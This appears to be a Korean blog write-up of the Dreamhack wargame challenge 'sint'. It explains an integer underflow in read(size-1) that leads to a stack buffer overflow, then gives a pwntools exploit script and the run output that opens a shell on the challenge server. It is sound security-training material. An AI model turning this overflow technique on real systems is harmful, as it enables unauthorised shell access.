sint

2022. 8. 4. 13:22·Wargame/Dreamhack
728x90
반응형

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

코드를 보면 256바이트의 buf 변수를 선언하고, size 값을 입력 받아 0보다 작거나 256보다 크면 종료하고 아니라면 read로 데이터를 입력받는다.

하지만 read 함수 내에서 size - 1의 크기만큼 받아들이며,
만일 size 값이 0 이라면 0x00 00 00 00 - 1이되어 역으로 0xff ff ff ff가 되어버려 4,294,967,295의 값을 받아들일 수 있게 된다.

우선 gdb로 buf 변수의 위치와 size 변수의 위치를 확인해보면 아래와 같다.

gef➤  disas main
Dump of assembler code for function main:
...
   0x08048696 <+42>:    lea    -0x104(%ebp),%eax
   0x0804869c <+48>:    push   %eax
   0x0804869d <+49>:    push   $0x80487a8
   0x080486a2 <+54>:    call   0x80484e0 <__isoc99_scanf@plt>
...
   0x080486df <+115>:   add    $0x4,%esp
   0x080486e2 <+118>:   mov    -0x104(%ebp),%eax
   0x080486e8 <+124>:   sub    $0x1,%eax
   0x080486eb <+127>:   push   %eax
   0x080486ec <+128>:   lea    -0x100(%ebp),%eax
   0x080486f2 <+134>:   push   %eax
   0x080486f3 <+135>:   push   $0x0
   0x080486f5 <+137>:   call   0x8048450 <read@plt>
...

이제 이를 기준으로 코드를 작성해보자.

from pwn import *

p = remote('host3.dreamhack.games',23871)
#p = process('./sint')
e = ELF('./sint')

p.sendlineafter(b'Size: ',b'0')

pay = b'A'*(0x100 + 4) + p32(e.symbols['get_shell'])

p.sendlineafter(b'Data: ',pay)
p.interactive()

 

┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 23871: Done
[*] '/home/kali/Downloads/sint'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
$ id
uid=1000(sint) gid=1000(sint) groups=1000(sint)
$ cat flag
DH{----------#플래그는 삭제}$
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

validator  (0) 2022.08.04
cmd_center  (0) 2022.08.04
tcache_dup2  (0) 2022.08.03
tcache_dup  (0) 2022.08.03
Tcache Poisoning  (0) 2022.08.02
'Wargame/Dreamhack' 카테고리의 다른 글
  • validator
  • cmd_center
  • tcache_dup2
  • tcache_dup
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (502)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (73)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41)
        • Solved (39)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    FSB
    BOF
    Format String Bug
    Buffer Overflow
    vtable
    ROOT ME
    RTL
    pwntools
    32bit
    Me
    la ctf
    root-me
    hackerschool
    libc
    tcache
    cryptohack
    lob
    exploit education
    CANARY
    heap
    dreamhack
    x64
    _IO_FILE
    pwnable.kr
    phoenix
    x86
    rop
    docker
    64bit
    root
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
sint
상단으로

티스토리툴바